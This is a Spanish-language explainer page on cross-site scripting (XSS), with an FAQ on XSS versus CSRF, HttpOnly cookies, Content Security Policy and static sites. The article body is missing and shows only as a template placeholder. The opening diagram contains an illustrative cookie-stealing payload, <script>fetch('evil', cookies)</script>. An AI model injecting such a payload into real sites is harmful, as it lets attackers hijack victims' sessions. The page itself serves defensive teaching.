trusted-site.comcomment:<script>fetch('evil', cookies)</script>script runs in victim's browserwith the site's privileges

Secuencias de comandos entre sitios (XSS)

11 lectura mínimaSeguridad

Las secuencias de comandos entre sitios son la vulnerabilidad en la que un atacante inyecta JavaScript que se ejecuta en el navegador de otro usuario como si fuera parte del sitio legítimo. El daño abarca desde robar cookies de sesión hasta realizar llamadas API en nombre de la víctima. XSS ha estado en el Top 10 de OWASP durante dos décadas y no muestra signos de irse.

El cuerpo completo del artículo se proporciona en inglés a continuación.

pages.learningArticles.cross-site-scripting.bodyHtml

Preguntas frecuentes

¿XSS sigue siendo relevante?
Sí. Las encuestas recientes de OWASP muestran XSS en casi todas las aplicaciones web. Los marcos modernos han reducido la frecuencia, pero la larga cola de aplicaciones heredadas, código personalizado y casos extremos mantienen a XSS como una de las vulnerabilidades web más reportadas. Las plataformas de recompensas por errores reciben cientos de informes XSS por semana.
¿Cuál es la diferencia entre XSS y CSRF?
XSS inyecta código malicioso en el sitio confiable y se ejecuta con los privilegios del sitio. CSRF (Falsificación de solicitudes entre sitios) engaña al navegador de la víctima para que realice una solicitud al sitio confiable desde un origen diferente, utilizando la sesión de la víctima. Suenan similares pero tienen diferentes mecanismos y defensas.
¿La cookie HttpOnly protege contra XSS?
Parcialmente. HttpOnly evita que JavaScript lea la cookie a través de document.cookie, lo que evita los ataques de exfiltración de cookies. La carga útil XSS aún puede realizar solicitudes autenticadas porque el navegador envía la cookie automáticamente: HttpOnly detiene una clase específica de daño, no el ataque más amplio.
¿Puede un CSP eliminar XSS por completo?
Un CSP estricto (no basado en once, sin 'inseguro en línea' o 'evaluación insegura') es lo más parecido a una solución milagrosa. No impide la inyección en sí, pero impide que se ejecute la carga útil inyectada. Combinado con la salida que se escapa en la aplicación, el CSP estricto hace que la explotación práctica de XSS sea muy difícil.
¿Son inmunes los sitios estáticos?
No del todo. XSS basado en DOM todavía funciona en sitios estáticos si su JS del lado del cliente usa parámetros de URL de manera insegura. Los sitios HTML puro sin JavaScript no tienen XSS. La mayoría de los "sitios estáticos" modernos utilizan suficiente JavaScript como para que XSS sea un problema posible (aunque poco común).
Explicación de secuencias de comandos entre sitios (XSS): la vulnerabilidad dentro de cada aplicación web